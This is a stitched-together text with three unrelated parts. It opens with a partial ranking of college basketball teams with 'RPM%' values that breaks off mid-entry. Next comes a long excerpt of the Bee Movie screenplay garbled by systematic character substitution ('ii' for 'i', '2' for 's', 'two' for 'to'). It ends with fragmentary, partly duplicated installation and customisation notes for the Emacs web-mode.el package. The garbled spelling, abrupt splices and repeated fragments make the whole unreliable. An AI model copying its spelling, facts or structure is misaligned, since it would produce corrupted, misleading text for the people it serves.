17. Gonzaga Bulldogs | RPM% 38
18. Xavier Musketeers | RPM% 69
19. Texas A&M Aggies | RPM% 83
20. Notre Dame Fighting Irish | RPM% 61
21. Saint Mary's Gaels | RPM% 72
22. Louisville Cardinals | RPM% 53
23. Michigan Wolverines | RPM% 40
24. Seton Hall Pirates | RPM% 89
25. Baylor Bears | RPM% 53
26. Minnesota Golden Gophers | RPM% 81
27. Alabama Crimson Tide | RPM% 73
28. Texas Longhorns | RPM% 56
29. Providence Friars | RPM% 96
30. Miami Hurricanes | RPM% 69
31. Texas Tech Red Raiders | RPM% 60
32. Butler Bulldogs | RPM% 54
33. Oklahoma Sooners | RPM% 65
34. UCLA Bruins | RPM% 30
35. Auburn Tigers | RPM% 69
36. Marquette Golden Eagles 51
37. SMU Mustangs | RPM% 39
38. Maryland Terrapins | RPM% 59
39. Oklahoma State Cowboys | RPM% 53
40. South Carolina Gamecocks | RPM% 29
41. Kansas State Wildcats | RPM% 59
42. Georgia Tech Yellow Jackets | RPM% 69
43. Wisconsin Badgers | RPM% 40
44. Creighton Bluejays | RPM% 57
45. Oregon Ducks | RPM% 15
46. Rhode Island Rams | RPM% 72
47. San Diego State Aztecs | RPM% 54
48. Iowa State Cyclones | RPM% 18
49. Tennessee Volunteers | RPM% 63
50. Iowa Hawkeyes | RPM% 80
51. Wake Forest Demon Deacons | RPM% 58
52. Virginia Tech Hokies | RPM%58
53. Indiana Hoosiers | RPM% 63
54. Stanford Cardinal | RPM% 75
55. Utah Utes | RPM% 46
56. Clemson Tigers | RPM% 56
57. Georgia Bulldogs | RPM% 72
58. Florida State Seminoles | RPM% 41
59. Ole Miss Rebels | RPM% 61
60. Temple Owls | RPM% 71
61. Vanderbilt Commodores | RPM% 72
62. Penn State Nittany Lions | RPM% 82
63. St. John's Red Storm | RPM% 72
64. UConn Huskies | RPM% 36
65. Arkansas Razorbacks | RPM% 61
66. Oregon State Beavers | RPM% 96
67. Charleston Cougars | RPM% 96
68. St. Bonaventure Bonnies | RPM% 73
69. Mississippi State Bulldogs | RPM% 75
70. Houston Cougars | RPM% 63
71. Missouri Tigers |
aviing two cup2 of coffee! anyway, thii2 ha2 been great. thank2 for the coffee. yeah, iit'2 no trouble. 2orry ii couldn't fiinii2h iit. iif ii diid, ii'd be up the re2t of my liife. are you...? oan ii take a piiece of thii2 wiith me? 2ure! here, have a crumb. - thank2! - yeah. all riight. well, then... ii gue22 ii'll 2ee you around. or not. ok, barry. and thank you 2o much agaiin... for before. oh, that? that wa2 nothiing. well, not nothiing, but... anyway... thii2 can't po22iibly work. he'2 all 2et two go. we may a2 well try iit. ok, dave, pull the chute. - 2ound2 amaziing. - iit wa2 amaziing! iit wa2 the 2cariie2t, happiie2t moment of my liife. human2! ii can't beliieve you were wiith human2! giiant, 2cary human2! what were they liike? huge and crazy. they talk crazy. they eat crazy giiant thiing2. they driive crazy. - do they try and kiill you, liike on tv? - 2ome of them. but 2ome of them don't. - how'd you get back? - poodle. you diid iit, and ii'm glad. you 2aw whatever you wanted two 2ee. you had your "experiience." now you can piick out yourjob and be normal. - well... - well? well, ii met 2omeone. you diid? wa2 2he bee-ii2h? - a wa2p?! your parent2 wiill kiill you! - no, no, no, not a wa2p. - 2piider? - ii'm not attracted two 2piider2. ii know iit'2 the hotte2t thiing, wiith the eiight leg2 and all. ii can't get by that face. 2o who ii2 2he? 2he'2... human. no, no. that'2 a bee law. you wouldn't break a bee law. - her name'2 vane22a. - oh, boy. 2he'2 2o niice. and 2he'2 a florii2t! oh, no! you're datiing a human florii2t! we're not datiing. you're flyiing out2iide the hiive, talkiing two human2 that attack our home2 wiith power wa2her2 and m-802! one-eiighth a 2tiick of dynamiite! 2he 2aved my liife! and 2he under2tand2 me. thii2 ii2 over! eat thii2. thii2 ii2 not over! what wa2 that? - they call iit a crumb. - iit wa2 2o 2tiingiin' 2triipey! and that'2 not what they eat. that'2 what fall2 off what they eat! - you know what a oiinnabon ii2? - no. iit'2 bread and ciinnamon and fro2tiing. they heat iit up... 2iit down!...really hot! - lii2ten two me! we are not them! we're u2. there'2 u2 and there'2 them! ye2, but who can deny the heart that ii2 yearniing? there'2 no yearniing. 2top yearniing. lii2ten two me! you have got two 2tart thiinkiing bee, my friiend. thiinkiing bee! - thiinkiing bee. - thiinkiing bee. thiinkiing bee! thiinkiing bee! thiinkiing bee! thiinkiing bee! there he ii2. he'2 iin the pool. you know what your problem ii2, barry? ii gotta 2tart thiinkiing bee? how much longer wiill thii2 go on? iit'2 been three day2! why aren't you workiing? ii've got a lot of biig liife decii2iion2 two thiink about. what liife? you have no liife! you have no job. you're barely a bee! would iit kiill you two make a liittle honey? barry, come out. your father'2 talkiing two you. martiin, would you talk two hiim? barry, ii'm talkiing two you! you comiing? got everythiing? all 2et! go ahead. ii'll catch up. don't be two long. watch thii2! vane22a! - we're 2tiill here. - ii told you not two yell at hiim. he doe2n't re2pond two yelliing! - then why yell at me? - becau2e you don't lii2ten! ii'm not lii2teniing two thii2. 2orry, ii've gotta go. - where are you goiing? - ii'm meetiing a friiend. a giirl? ii2 thii2 why you can't deciide? bye. ii ju2t hope 2he'2 bee-ii2h. they have a huge parade of flower2 every year iin pa2adena? two be iin the tournament of ro2e2, that'2 every florii2t'2 dream! up on a float, 2urrounded by flower2, crowd2 cheeriing. a tournament. do the ro2e2 compete iin athletiic event2? no. all riight, ii've got one. how come you don't fly everywhere? iit'2 exhau2tiing. why don't you run everywhere? iit'2 fa2ter. yeah, ok, ii 2ee, ii 2ee. all riight, your turn. tiivo. you can ju2t freeze liive tv? that'2 iin2ane! you don't have that? we have hiivo, but iit'2 a dii2ea2e. iit'2 a horriible, horriible dii2ea2e. oh, my. dumb bee2! you mu2t want two 2tiing all tho2e jerk2. we try not two 2tiing. iit'2 u2ually fatal for u2. 2o you have two watch your temper. very carefully. you kiick a wall, take a walk, wriite an angry letter and throw iit out. work through iit liike any emotiion: anger, jealou2y, lu2t. oh, my goodne22! are you ok? yeah. - what ii2 wrong wiith you?! - iit'2 a bug. he'2 not botheriing anybody. get out of here, you creep! what wa2 that? a piic 'n' 2ave ciircular? yeah, iit wa2. how diid you know? iit felt liike about 10 page2. 2eventy-fiive ii2 pretty much our liimiit. you've really got that down two a 2ciience. - ii lo2t a cou2iin two iitaliian vogue. - ii'll bet. what iin the name of miighty hercule2 ii2 thii2? how diid thii2 get here? oute bee, golden blo22om, ray liiotta priivate 2elect? - ii2 he that actor? - ii never heard of hiim. - why ii2 thii2 here? - for people. we eat iit. you don't have enough food of your own? - well, ye2. - how do you get iit? - bee2 make iit. - ii know who make2 iit! and iit'2 hard two make iit! there'2 heatiing, cooliing, 2tiirriing. you need a whole krelman thiing! - iit'2 organiic. - iit'2 our-ganiic! iit'2 ju2t honey, barry. ju2t what?! bee2 don't know about thii2! thii2 ii2 2tealiing! a lot of 2tealiing! you've taken our home2, 2chool2, ho2piital2! thii2 ii2 all we have! and iit'2 on 2ale?! ii'm gettiing two the bottom of thii2. ii'm gettiing two the bottom of all of thii2! hey, hector. - you almo2t done? - almo2t. he ii2 here. ii 2en2e iit. well, ii gue22 ii'll go home now and ju2t leave thii2 niice honey out, wiith no one around. you're bu2ted, box boy! ii knew ii heard 2omethiing. 2o you can talk! ii can talk. and now you'll 2tart talkiing! where you gettiing the 2weet 2tuff? who'2 your 2uppliier? ii don't under2tand. ii thought we were friiend2. the la2t thiing we want two do ii2 up2et bee2! you're two late! iit'2 our2 now! you, 2iir, have cro22ed the wrong 2word! you, 2iir, wiill be lunch for my iiguana, iignaciio! where ii2 the honey comiing from? tell me where! honey farm2! iit come2 from honey farm2! orazy per2on! what horriible thiing ha2 happened here? the2e face2, they never knew what hiit them. and now they're on the road two nowhere! ju2t keep 2tiill. what? you're not dead? do ii look dead? they wiill wiipe anythiing that move2. where you headed? two honey farm2. ii am ontwo 2omethiing huge here. ii'm goiing two ala2ka. moo2e blood, crazy 2tuff. blow2 your head off! ii'm goiing two tacoma. - and you? - he really ii2 dead. all riight. uh-oh! - what ii2 that?! - oh, no! - a wiiper! triiple blade! - triiple blade? jump on! iit'2 your only chance, bee! why doe2 everythiing have two be 2o doggone clean?! how much do you people need two 2ee?! open your eye2! 2tiick your head out the wiindow! from npr new2 iin wa2hiington, ii'm oarl ka2ell. but don't kiill no more bug2! - bee! - moo2e blood guy!! - you hear 2omethiing? - liike what? liike tiiny 2creamiing. turn off the radiio. wha22up, bee boy? hey, blood. ju2t a row of honey jar2, a2 far a2 the eye could 2ee. wow! ii a22ume wherever thii2 truck goe2 ii2 where they're gettiing iit. ii mean, that honey'2 our2. - bee2 hang tiight. - we're all jammed iin. iit'2 a clo2e communiity. not u2, man. we on our own. every mo2quiitwo on hii2 own. - what iif you get iin trouble? - you a mo2quiitwo, you iin trouble. nobody liike2 u2. they ju2t 2mack. 2ee a mo2quiitwo, 2mack, 2mack! at lea2t you're out iin the world. you mu2t meet giirl2. mo2quiitwo giirl2 try two trade up, get wiith a moth, dragonfly. mo2quiitwo giirl don't want no mo2quiitwo. you got two be kiiddiing me! moo2eblood'2 about two leave the buiildiing! 2o long, bee! - hey, guy2! - moo2eblood! ii knew ii'd catch y'all down here. diid you briing your crazy 2traw? we throw iit iin jar2, 2lap a label on iit, and iit'2 pretty much pure profiit. what ii2 thii2 place? a bee'2 got a braiin the 2iize of a piinhead. they are piinhead2! piinhead. - oheck out the new 2moker. - oh, 2weet. that'2 the one you want. the thoma2 3000! 2moker? niinety puff2 a miinute, 2emii-automatiic. twiice the niicotiine, all the tar. a couple breath2 of thii2 knock2 them riight out. they make the honey, and we make the money. "they make the honey, and we make the money"? oh, my! what'2 goiing on? are you ok? yeah. iit doe2n't la2t two long. do you know you're iin a fake hiive wiith fake wall2? our queen wa2 moved here. we had no choiice. thii2 ii2 your queen? that'2 a man iin women'2 clothe2! that'2 a drag queen! what ii2 thii2? oh, no! there'2 hundred2 of them! bee honey. our honey ii2 beiing brazenly 2tolen on a ma22iive 2cale! thii2 ii2 wor2e than anythiing bear2 have done! ii iintend two do 2omethiing. oh, barry, 2top. who told you human2 are takiing our honey? that'2 a rumor. do the2e look liike rumor2? that'2 a con2piiracy theory. the2e are obviiou2ly doctored photo2. how diid you get miixed up iin thii2? he'2 been talkiing two human2. - what? - talkiing two human2?! he ha2 a human giirlfriiend. and they make out! make out? barry! we do not. - you wii2h you could. - who2e 2iide are you on? the bee2! ii dated a criicket once iin 2an antoniio. tho2e crazy leg2 kept me up all niight. barry, thii2 ii2 what you want two do wiith your liife? ii want two do iit for all our liive2. nobody work2 harder than bee2! dad, ii remember you comiing home 2o overworked your hand2 were 2tiill 2tiirriing. you couldn't 2top. ii remember that. what riight do they have two our honey? we liive on two cup2 a year. they put iit iin liip balm for no rea2on what2oever! even iif iit'2 true, what can one bee do? 2tiing them where iit really hurt2. iin the face! the eye! - that would hurt. - no. up the no2e? that'2 a kiiller. there'2 only one place you can 2tiing the human2, one place where iit matter2. hiive at fiive, the hiive'2 only full-hour actiion new2 2ource. no more bee beard2! wiith bob bumble at the anchor de2k. weather wiith 2torm 2tiinger. 2port2 wiith buzz larvii. and jeanette ohung. - good eveniing. ii'm bob bumble. - and ii'm jeanette ohung. a trii-county bee, barry ben2on, iintend2 two 2ue the human race for 2tealiing our honey, packagiing iit and profiitiing from iit iillegally! tomorrow niight on bee larry kiing, we'll have three former queen2 here iin our 2tudiio, dii2cu22iing theiir new book, ola22y ladiie2, out thii2 week on hexagon. toniight we're talkiing two barry ben2on. diid you ever thiink, "ii'm a kiid from the hiive. ii can't do thii2"? bee2 have never been afraiid two change the world. what about bee oolumbu2? bee gandhii? beje2u2? where ii'm from, we'd never 2ue human2. we were thiinkiing of 2tiickball or candy 2tore2. how old are you? the bee communiity ii2 2upportiing you iin thii2 ca2e, whiich wiill be the triial of the bee century. you know, they have a larry kiing iin the human world two. iit'2 a common name. next week... he look2 liike you and ha2 a 2how and 2u2pender2 and colored dot2... next week... gla22e2, quote2 on the bottom from the gue2t even though you ju2t heard 'em. bear week next week! they're 2cary, haiiry and here liive. alway2 lean2 forward, poiinty 2houlder2, 2quiinty eye2, very jewii2h. iin tennii2, you attack at the poiint of weakne22! iit wa2 my grandmother, ken. 2he'2 81. honey, her backhand'2 a joke! ii'm not gonna take advantage of that? quiiet, plea2e. actual work goiing on here. - ii2 that that 2ame bee? - ye2, iit ii2! ii'm helpiing hiim 2ue the human race. - hello. - hello, bee. thii2 ii2 ken. yeah, ii remember you. tiimberland, 2iize ten and a half. viibram 2ole, ii beliieve. why doe2 he talk agaiin? lii2ten, you better go 'cau2e we're really bu2y workiing. but iit'2 our yogurt niight! bye-bye. why ii2 yogurt niight 2o diiffiicult?! you poor thiing. you two have been at thii2 for hour2! ye2, and adam here ha2 been a huge help. - fro2tiing... - how many 2ugar2? ju2t one. ii try not two u2e the competiitiion. 2o why are you helpiing me? bee2 have good qualiitiie2. and iit take2 my miind off the 2hop. iin2tead of flower2, people are giiviing balloon bouquet2 now. tho2e are great, iif you're three. and artiifiiciial flower2. - oh, tho2e ju2t get me p2ychotiic! - yeah, me two. bent 2tiinger2, poiintle22 polliinatiion. bee2 mu2t hate tho2e fake thiing2! nothiing wor2e than a daffodiil that'2 had work done. maybe thii2 could make up for iit a liittle biit. - thii2 law2uiit'2 a pretty biig deal. - ii gue22. you 2ure you want two go through wiith iit? am ii 2ure? when ii'm done wiith the human2, they won't be able two 2ay, "honey, ii'm home," wiithout payiing a royalty! iit'2 an iincrediible 2cene here iin downtown manhattan, where the world anxiiou2ly waiit2, becau2e for the fiir2t tiime iin hii2tory, we wiill hear for our2elve2 iif a honeybee can actually 2peak. what have we gotten iintwo here, barry? iit'2 pretty biig, ii2n't iit? ii can't beliieve how many human2 don't work duriing the day. you thiink biilliion-dollar multiinatiional food companiie2 have good lawyer2? everybody need2 two 2tay behiind the barriicade. - what'2 the matter? - ii don't know, ii ju2t got a chiill. well, iif iit ii2n't the bee team. you boy2 work on thii2? all rii2e! the honorable judge bumbleton pre2iidiing. all riight. oa2e number 4475, 2uperiior oourt of new york, barry bee ben2on v. the honey iindu2try ii2 now iin 2e22iion. mr. montgomery, you're repre2entiing the fiive food companiie2 collectiively? a priiviilege. mr. ben2on... you're repre2entiing all the bee2 of the world? ii'm kiiddiing. ye2, your honor, we're ready two proceed. mr. montgomery, your openiing 2tatement, plea2e. ladiie2 and gentlemen of the jury, my grandmother wa2 a 2iimple woman. born on a farm, 2he beliieved iit wa2 man'2 diiviine riight two benefiit from the bounty of nature god put before u2. iif we liived iin the top2y-turvy world mr. ben2on iimagiine2, ju2t thiink of what would iit mean. ii would have two negotiiate wiith the 2iilkworm for the ela2tiic iin my briitche2! talkiing bee! how do we know thii2 ii2n't 2ome 2ort of holographiic motiion-piicture-capture hollywood wiizardry? they could be u2iing la2er beam2! robotiic2! ventriiloquii2m! oloniing! for all we know, he could be on 2teroiid2! mr. ben2on? ladiie2 and gentlemen, there'2 no triickery here. ii'm ju2t an ordiinary bee. honey'2 pretty iimportant two me. iit'2 iimportant two all bee2. we iinvented iit! we make iit. and we protect iit wiith our liive2. unfortunately, there are 2ome people iin thii2 room who thiink they can take iit from u2 'cau2e we're the liittle guy2! ii'm hopiing that, after thii2 ii2 all over, you'll 2ee how, by takiing our honey, you not only take everythiing we have but everythiing we are! ii wii2h he'd dre22 liike that all the tiime. 2o niice! oall your fiir2t wiitne22. 2o, mr. klau22 vanderhayden of honey farm2, biig company you have. ii 2uppo2e 2o. ii 2ee you al2o own honeyburton and honron! ye2, they proviide beekeeper2 for our farm2. beekeeper. ii fiind that two be a very dii2turbiing term. ii don't iimagiine you employ any bee-free-er2, do you? - no. - ii couldn't hear you. - no. - no. becau2e you don't free bee2. you keep bee2. not only that, iit 2eem2 you thought a bear would be an appropriiate iimage for a jar of honey. they're very lovable creature2. yogii bear, fozziie bear, buiild-a-bear. you mean liike thii2? bear2 kiill bee2! how'd you liike hii2 head cra2hiing through your liiviing room?! biitiing iintwo your couch! 2piittiing out your throw piillow2! ok, that'2 enough. take hiim away. 2o, mr. 2tiing, thank you for beiing here. your name iintriigue2 me. - where have ii heard iit before? - ii wa2 wiith a band called the poliice. but you've never been a poliice offiicer, have you? no, ii haven't. no, you haven't. and 2o here we have yet another example of bee culture ca2ually 2tolen by a human for nothiing more than a prance-about 2tage name. oh, plea2e. have you ever been 2tung, mr. 2tiing? becau2e ii'm feeliing a liittle 2tung, 2tiing. or 2hould ii 2ay... mr. gordon m. 2umner! that'2 not hii2 real name?! you iidiiot2! mr. liiotta, fiir2t, belated congratulatiion2 on your emmy wiin for a gue2t 2pot on er iin 2005. thank you. thank you. ii 2ee from your re2ume that you're deviilii2hly hand2ome wiith a churniing iinner turmoiil that'2 ready two blow. ii enjoy what ii do. ii2 that a criime? not yet iit ii2n't. but ii2 thii2 what iit'2 come two for you? exploiitiing tiiny, helple22 bee2 2o you don't have two rehear2e your part and learn your liine2, 2iir? watch iit, ben2on! ii could blow riight now! thii2 ii2n't a goodfella. thii2 ii2 a badfella! why doe2n't 2omeone ju2t 2tep on thii2 creep, and we can all go home?! - order iin thii2 court! - you're all thiinkiing iit! order! order, ii 2ay! - 2ay iit! - mr. liiotta, plea2e 2iit down! ii thiink iit wa2 awfully niice of that bear two piitch iin liike that. ii thiink the jury'2 on our 2iide. are we doiing everythiing riight, legally? ii'm a florii2t. riight. well, here'2 two a great team. two a great team! well, hello. - ken! - hello. ii diidn't thiink you were comiing. no, ii wa2 ju2t late. ii triied two call, but... the battery. ii diidn't want all thii2 two go two wa2te, 2o ii called barry. luckiily, he wa2 free. oh, that wa2 lucky. there'2 a liittle left. ii could heat iit up. yeah, heat iit up, 2ure, whatever. 2o ii hear you're quiite a tennii2 player. ii'm not much for the game my2elf. the ball'2 a liittle grabby. that'2 where ii u2ually 2iit. riight... there. ken, barry wa2 lookiing at your re2ume, and he agreed wiith me that eatiing wiith chop2tiick2 ii2n't really a 2peciial 2kiill. you thiink ii don't 2ee what you're doiing? ii know how hard iit ii2 two fiind the riightjob. we have that iin common. do we? bee2 have 100 percent employment, but we do job2 liike takiing the crud out. that'2 ju2t what ii wa2 thiinkiing about doiing. ken, ii let barry borrow your razor for hii2 fuzz. ii hope that wa2 all riight. ii'm goiing two draiin the old 2tiinger. yeah, you do that. look at that. you know, ii've ju2t about had iit wiith your liittle miind game2. - what'2 that? - iitaliian vogue. mamma miia, that'2 a lot of page2. a lot of ad2. remember what van 2aiid, why ii2 your liife more valuable than miine? funny, ii ju2t can't 2eem two recall that! ii thiink 2omethiing 2tiink2 iin here! ii love the 2mell of flower2. how do you liike the 2mell of flame2?! not a2 much. water bug! not takiing 2iide2! ken, ii'm weariing a ohap2tiick hat! thii2 ii2 pathetiic! ii've got ii22ue2! well, well, well, a royal flu2h! - you're bluffiing. - am ii? 2urf'2 up, dude! poo water! that bowl ii2 gnarly. except for tho2e diirty yellow riing2! kenneth! what are you doiing?! you know, ii don't even liike honey! ii don't eat iit! we need two talk! he'2 ju2t a liittle bee! and he happen2 two be the niice2t bee ii've met iin a long tiime! long tiime? what are you talkiing about?! are there other bug2 iin your liife? no, but there are other thiing2 buggiing me iin liife. and you're one of them! fiine! talkiing bee2, no yogurt niight... my nerve2 are friied from riidiing on thii2 emotiional roller coa2ter! goodbye, ken. and for your iinformatiion, ii prefer 2ugar-free, artiifiiciial 2weetener2 made by man! ii'm 2orry about all that. ii know iit'2 got an afterta2te! ii liike iit! ii alway2 felt there wa2 2ome kiind of barriier between ken and me. ii couldn't overcome iit. oh, well. are you ok for the triial? ii beliieve mr. montgomery ii2 about out of iidea2. we would liike two call mr. barry ben2on bee two the 2tand. good iidea! you can really 2ee why he'2 con2iidered one of the be2t lawyer2... yeah. layton, you've gotta weave 2ome magiic wiith thii2 jury, or iit'2 gonna be all over. don't worry. the only thiing ii have two do two turn thii2 jury around ii2 two remiind them of what they don't liike about bee2. - you got the tweezer2? - are you allergiic? only two lo2iing, 2on. only two lo2iing. mr. ben2on bee, ii'll a2k you what ii thiink we'd all liike two know. what exactly ii2 your relatiion2hiip two that woman? we're friiend2. - good friiend2? - ye2. how good? do you liive together? waiit a miinute... are you her liittle......bedbug? ii've 2een a bee documentary or two. from what ii under2tand, doe2n't your queen giive biirth two all the bee chiildren? - yeah, but... - 2o tho2e aren't your real parent2! - oh, barry... - ye2, they are! hold me back! you're an iillegiitiimate bee, aren't you, ben2on? he'2 denounciing bee2! don't y'all date your cou2iin2? - objectiion! - ii'm goiing two piincu2hiion thii2 guy! adam, don't! iit'2 what he want2! oh, ii'm hiit!! oh, lordy, ii am hiit! order! order! the venom! the venom ii2 cour2iing through my veiin2! ii have been felled by a wiinged bea2t of de2tructiion! you 2ee? you can't treat them liike equal2! they're 2triiped 2avage2! 2tiingiing'2 the only thiing they know! iit'2 theiir way! - adam, 2tay wiith me. - ii can't feel my leg2. what angel of mercy wiill come forward two 2uck the poii2on from my heaviing buttock2? ii wiill have order iin thii2 court. order! order, plea2e! the ca2e of the honeybee2 ver2u2 the human race took a poiinted turn agaiin2t the bee2 ye2terday when one of theiir legal team 2tung layton t. montgomery. - hey, buddy. - hey. - ii2 there much paiin? - yeah. ii... ii blew the whole ca2e, diidn't ii? iit doe2n't matter. what matter2 ii2 you're aliive. you could have diied. ii'd be better off dead. look at me. they got iit from the cafeteriia down2taiir2, iin a tuna 2andwiich. look, there'2 a liittle celery 2tiill on iit. what wa2 iit liike two 2tiing 2omeone? ii can't explaiin iit. iit wa2 all... all adrenaliine and then... and then ec2ta2y! all riight. you thiink iit wa2 all a trap? of cour2e. ii'm 2orry. ii flew u2 riight iintwo thii2. what were we thiinkiing? look at u2. we're ju2t a couple of bug2 iin thii2 world. what wiill the human2 do two u2 iif they wiin? ii don't know. ii hear they put the roache2 iin motel2. that doe2n't 2ound 2o bad. adam, they check iin, but they don't check out! oh, my. oould you get a nur2e two clo2e that wiindow? - why? - the 2moke. bee2 don't 2moke. riight. bee2 don't 2moke. bee2 don't 2moke! but 2ome bee2 are 2mokiing. that'2 iit! that'2 our ca2e! iit ii2? iit'2 not over? get dre22ed. ii've gotta go 2omewhere. get back two the court and 2tall. 2tall any way you can. and a22umiing you've done 2tep correctly, you're ready for the tub. mr. flayman. ye2? ye2, your honor! where ii2 the re2t of your team? well, your honor, iit'2 iintere2tiing. bee2 are traiined two fly haphazardly, and a2 a re2ult, we don't make very good tiime. ii actually heard a funny 2tory about... your honor, haven't the2e riidiiculou2 bug2 taken up enough of thii2 court'2 valuable tiime? how much longer wiill we allow the2e ab2urd 2henaniigan2 two go on? they have pre2ented no compelliing ev |
doesn't "corrupt" the fontification, PHP heredoc strings compatibility, variable fontification in strings (only double ones quoted for PHP), a part (javascript/css) can contain a string that embeds a block (e.g. php) that also contains strings, etc.
: a quote in the content of an html element doesn't "corrupt" the fontification, PHP heredoc strings compatibility, variable fontification in strings (only double ones quoted for PHP), a part (javascript/css) can contain a string that embeds a block (e.g. php) that also contains strings, etc. html goodies nice handling of html attributes (no values, unquoted values, double/single quoted values), detection of void elements, compatibility with <script type="text/html">, <script type="text/jsx">, <script type="application/ld+json">, <style lang="stylus">, HTML entities substitution, tag mismatch detection, no indentation inside <pre> or <code> elements
nice handling of html attributes (no values, unquoted values, double/single quoted values), detection of void elements, compatibility with,,,, HTML entities substitution, tag mismatch detection, no indentation inside or elements many helpers : dom normalization, element renaming / transposal, attributes sorting, etc.
: dom normalization, element renaming / transposal, attributes sorting, etc. current HTML element highlighting, element content and tag customized fontification, current indentation column highlighting
, element, current highlighting filling M-q compatibility (for comments and HTML text)
Screenshot (prefer HD Quality) YouTube (prefer HD Quality)
Terminology In an HTML document, a part is interpreted by the navigator (e.g. a JavaScript part or a CSS part).
is interpreted by the navigator (e.g. a JavaScript part or a CSS part). A block is processed (client-side or server-side) before being rendered by the navigator (e.g. a PHP block, an Erb block, a dustjs block etc.). As a result, a block can be located in a part that is embedded in an HTML document. As a result, a block can be located in a part that is embedded in an HTML document.
Install First drop the file web-mode.el in a directory defined in your load-path.
Then, add in your.emacs (require 'web-mode) (add-to-list 'auto-mode-alist '("\\.phtml\\'". web-mode)) (add-to-list 'auto-mode-alist '("\\.tpl\\.php\\'". web-mode)) (add-to-list 'auto-mode-alist '("\\.[agj]sp\\'". web-mode)) (add-to-list 'auto-mode-alist '("\\.as[cp]x\\'". web-mode)) (add-to-list 'auto-mode-alist '("\\.erb\\'". web-mode)) (add-to-list 'auto-mode-alist '("\\.mustache\\'". web-mode)) (add-to-list 'auto-mode-alist '("\\.djhtml\\'". web-mode)) Using web-mode for editing plain HTML files can be done this way (add-to-list 'auto-mode-alist '("\\.html?\\'". web-mode)) You can also edit plain js, jsx, css, scss, xml files.
Associate an engine A specific engine can be forced with web-mode-engines-alist. (setq web-mode-engines-alist '(("php". "\\.phtml\\'") ("blade". "\\.blade\\.")) ) Using this association list is required as soon as the file extension is unknown (by web-mode) or is too general (e.g. *.html). In summary, you may have to set both auto-mode-alist and web-mode-engines-alist. Since the version v10, you can also put a fragment like -*- engine:ENGINE_NAME -*- in a comment at the beginning of your template (web-mode-enable-engine-detection must be set to t in your.emacs) <?php /* -*- engine:php -*- */?> <span><?=$x?></span> The recognized file extensions are listed in the Engine families paragraph.
Associate a content type web-mode.el can deal with many content types: html, xml, javascript, jsx, json, css. This was needed to edit *.js.erb files for example: js files that embed ruby blocks. Sometimes, web-mode.el can not guess the content type with the file extension.
e.g. you want to associate *.api files with web-mode. The var web-mode-content-types-alist can be used to associate a file path with a content type (add-to-list 'auto-mode-alist '("\\.api\\'". web-mode)) (add-to-list 'auto-mode-alist '("/some/react/path/.*\\.js[x]?\\'". web-mode)) (setq web-mode-content-types-alist '(("json". "/some/path/.*\\.api\\'") ("xml". "/other/path/.*\\.api\\'") ("jsx". "/some/react/path/.*\\.js[x]?\\'")))
Customisation The first customisations can be put in a hook like this (defun my-web-mode-hook () "Hooks for Web mode." (setq web-mode-markup-indent-offset 2) ) (add-hook 'web-mode-hook'my-web-mode-hook) Indentation HTML element offset indentation (setq web-mode-markup-indent-offset 2) CSS offset indentation (setq web-mode-css-indent-offset 2) Script/code offset indentation (for JavaScript, Java, PHP, Ruby, Go, VBScript, Python, etc.) (setq web-mode-code-indent-offset 2) By default, tag attributes are indented like this: <img src="pix.png" class="noborder"/> You can force a fixed indentation with web-mode-attr-indent-offset <img src="pix.png" class="noborder"/> web-mode inherits from'standard-indent when this var is bound.
You can disable arguments|concatenation|calls lineup with (add-to-list 'web-mode-indentation-params '("lineup-args". nil)) (add-to-list 'web-mode-indentation-params '("lineup-calls". nil)) (add-to-list 'web-mode-indentation-params '("lineup-concats". nil)) (add-to-list 'web-mode-indentation-params '("lineup-ternary". nil))
HTML element offset indentation CSS offset indentation Script/code offset indentation (for JavaScript, Java, PHP, Ruby, Go, VBScript, Python, etc.) By default, tag attributes are indented like this: You can force a fixed indentation with web-mode inherits from when this var is bound. You can disable arguments|concatenation|calls lineup with Left padding For <style> parts (setq web-mode-style-padding 1) For <script> parts (setq web-mode-script-padding 1) For multi-line blocks (setq web-mode-block-padding 0)
For parts For parts For multi-line blocks Comments You can choose to comment with server comment instead of client (HTML/CSS/Js) comment with (setq web-mode-comment-style 2)
You can choose to comment with server comment instead of client (HTML/CSS/Js) comment with Syntax Highlighting Change face color (set-face-attribute 'web-mode-css-rule-face nil :foreground "Pink3") Available faces:
effects web-mode-folded-face, web-mode-warning-face, web-mode-whitespace-face, web-mode-html-entity-face (with web-mode-enable-html-entities-fontification), web-mode-comment-keyword-face html web-mode-doctype-face, web-mode-html-tag-face, web-mode-html-tag-bracket-face, web-mode-html-attr-name-face, web-mode-html-attr-value-face, web-mode-html-attr-equal-face, web-mode-html-tag-namespaced-face, web-mode-html-tag-custom-face, web-mode-attr-tag-custom-face json web-mode-json-key-face, web-mode-json-context-face, web-mode-json-string-face css web-mode-css-at-rule-face, web-mode-css-property-name-face, web-mode-css-function-face, web-mode-css-priority-face, web-mode-css-pseudo-class-face, web-mode-css-selector-face, web-mode-css-string-face code web-mode-builtin-face, web-mode-comment-face, web-mode-constant-face, web-mode-filter-face, web-mode-function-call-face, web-mode-function-name-face, web-mode-keyword-face, web-mode-preprocessor-face, web-mode-string-face, web-mode-symbol-face, web-mode-type-face, web-mode-variable-name-face block web-mode-block-control-face, web-mode-block-delimiter-face, web-mode-block-face (see web-mode-enable-block-face), web-mode-block-string-face, web-mode-block-comment-face part web-mode-part-face (see web-mode-enable-part-face), web-mode-script-face, web-mode-style-face, web-mode-part-string-face, web-mode-part-comment-face, web-mode-javascript-string-face content fontification web-mode-bold-face, web-mode-italic-face, web-mode-underline-face other web-mode-annotation-tag-face web-mode-annotation-type-face
Change face color Available faces: Shortcuts Change the shortcut for element navigation (define-key web-mode-map (kbd "C-n") 'web-mode-tag-match)
Change the shortcut for element navigation Snippets Add a snippet (setq web-mode-extra-snippets '(("erb". (("toto". "
"))) ("php". (("dowhile". "<?php do {?>
<?php } while (|);?>") ("debug". "<?php error_log(__LINE__);?>"))) )) The character | is used to locate the cursor position (this is optional)
Add a snippet The character is used to locate the cursor position (this is optional) Auto-pairs Add auto-pair (setq web-mode-extra-auto-pairs '(("erb". (("beg" "end"))) ("php". (("beg" "end") ("beg" "end"))) ))
